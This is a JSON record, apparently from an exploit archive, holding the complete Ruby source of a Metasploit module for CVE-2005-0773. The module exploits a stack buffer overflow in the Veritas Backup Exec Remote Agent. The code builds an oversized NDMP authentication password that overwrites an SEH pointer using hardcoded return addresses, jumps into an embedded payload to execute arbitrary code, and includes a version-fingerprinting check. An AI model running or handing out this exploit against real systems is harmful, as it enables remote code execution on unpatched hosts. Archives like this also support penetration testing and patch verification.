{"exploit":{"id":"EDB-16332","name":"Veritas Backup Exec Windows - Remote Agent Overflow (Metasploit)","description":"Veritas Backup Exec Windows - Remote Agent Overflow (Metasploit)","cves":["CVE-2005-0773"],"author":"Metasploit","published":"2010-07-03","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16332","path":"exploits/windows/remote/16332.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16332.rb","vulnerabilities":[{"id":"CVE-2005-0773","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in VERITAS Backup Exec Remote Agent 9.0 through 10.0 for Windows, and 9.0.4019 through 9.1.307 for Netware allows remote attackers to execute arbitrary code via a CONNECT_CLIENT_AUTH request with authentication method type 3 (Windows credentials) and a long password argument.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-0773","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-0773"},"updatedAt":"2024-08-07T21:28:28.409Z","retrievedAt":"2026-11-27T17:10:11.498Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16332.png?v=2","url":"https://exploitbin.com/exploits/EDB-16332","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16332/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16332/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: remote_agent.rb 9669 2010-07-03 03:13:45Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GreatRanking\n\n\tinclude Msf::Exploit::Remote::NDMP\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Veritas Backup Exec Windows Remote Agent Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a stack buffer overflow in the Veritas\n\t\t\t\tBackupExec Windows Agent software. This vulnerability occurs\n\t\t\t\twhen a client authentication request is received with type\n\t\t\t\t'3' and a long password argument. Reliable execution is\n\t\t\t\tobtained by abusing the stack buffer overflow to smash a SEH\n\t\t\t\tpointer.\n\t\t\t},\n\t\t\t'Author'         => [ 'hdm' ],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => '$Revision: 9669 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2005-0773'],\n\t\t\t\t\t[ 'OSVDB', '17624'],\n\t\t\t\t\t[ 'BID', '14022'],\n\t\t\t\t\t[ 'URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities'],\n\t\t\t\t\t[ 'URL', 'http://seer.support.veritas.com/docs/276604.htm'],\n\t\t\t\t],\n\t\t\t'Privileged'     => true,\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC' => 'process',\n\t\t\t\t},\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 1024,\n\t\t\t\t\t'BadChars' => \"\\x00\",\n\t\t\t\t\t'StackAdjustment' => -3500,\n\t\t\t\t},\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[\n\t\t\t\t\t\t'Veritas BE 9.0/9.1/10.0 (All Windows)',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Platform' => 'win',\n\t\t\t\t\t\t\t'Rets'     => [ 0x0140f8d5, 0x014261b0 ],\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t\t[\n\t\t\t\t\t\t'Veritas BE 9.0/9.1/10.0 (Windows 2000)',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Platform' => 'win',\n\t\t\t\t\t\t\t'Rets'     => [ 0x75022ac4, 0x75022ac4 ],\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t],\n\t\t\t'DefaultTarget'  => 0,\n\t\t\t'DisclosureDate' => 'Jun 22 2005'))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOpt::RPORT(10000)\n\t\t\t], self.class)\n\tend\n\n\tdef check\n\t\tinfo = ndmp_info()\n\t\tif (info and info['Version'])\n\t\t\tprint_status(\" Vendor: #{info['Vendor']}\")\n\t\t\tprint_status(\"Product: #{info['Product']}\")\n\t\t\tprint_status(\"Version: #{info['Version']}\")\n\n\t\t\tif (info['Vendor'] =~ /VERITAS/i and info['Version'] =~ /^(4\\.2|5\\.1)$/)\n\t\t\t\treturn Exploit::CheckCode::Detected\n\t\t\tend\n\t\tend\n\t\treturn Exploit::CheckCode::Safe\n\tend\n\n\tdef exploit\n\t\tconnect\n\n\t\tprint_status(\"Trying target #{target.name}...\")\n\n\t\tresp = ndmp_recv()\n\n\t\tusername = 'X' * 512\n\t\tpassword = rand_text_alphanumeric(8192)\n\n\t\t# Place our payload early in the request and jump backwards into it\n\t\tpassword[ 3536 - payload.encoded.length, payload.encoded.length] = payload.encoded\n\n\t\t# This offset is required for version 10.0\n\t\tpassword[3536, 2] = \"\\xeb\\x06\"\n\t\tpassword[3540, 4] = [ target['Rets'][1] ].pack('V')\n\t\tpassword[3544, 5] = \"\\xe9\" + [-1037].pack('V')\n\n\t\t# This offset is required for version 9.0/9.1\n\t\tpassword[4524, 2] = \"\\xeb\\x06\"\n\t\tpassword[4528, 4] = [ target['Rets'][0] ].pack('V')\n\t\tpassword[4532, 5] = \"\\xe9\" + [-2025].pack('V')\n\n\t\t# Create the authentication request\n\t\tauth = [\n\t\t\t\t1,               # Sequence number\n\t\t\t\tTime.now.to_i,   # Current time\n\t\t\t\t0,               # Message type (request)\n\t\t\t\t0x901,           # Message name (connect_client_auth)\n\t\t\t\t0,               # Reply sequence number\n\t\t\t\t0,               # Error status\n\t\t\t\t3                # Authentication type\n\t\t\t].pack('NNNNNNN') +\n\t\t\t[ username.length ].pack('N') + username +\n\t\t\t[ password.length ].pack('N') + password +\n\t\t\t[ 4 ].pack('N')\n\n\t\tprint_status(\"Sending authentication request...\")\n\t\tndmp_send(auth)\n\n\t\thandler\n\t\tdisconnect\n\tend\n\nend","sha256":"c52be878232b0d9dccbaf91c9008a20596c7395dc4d90e5fb602d15ac9e12440","bytes":3674,"fetchedAt":"2026-11-27T17:10:11.123Z","encoding":"utf-8 (display only; download retains original bytes)"}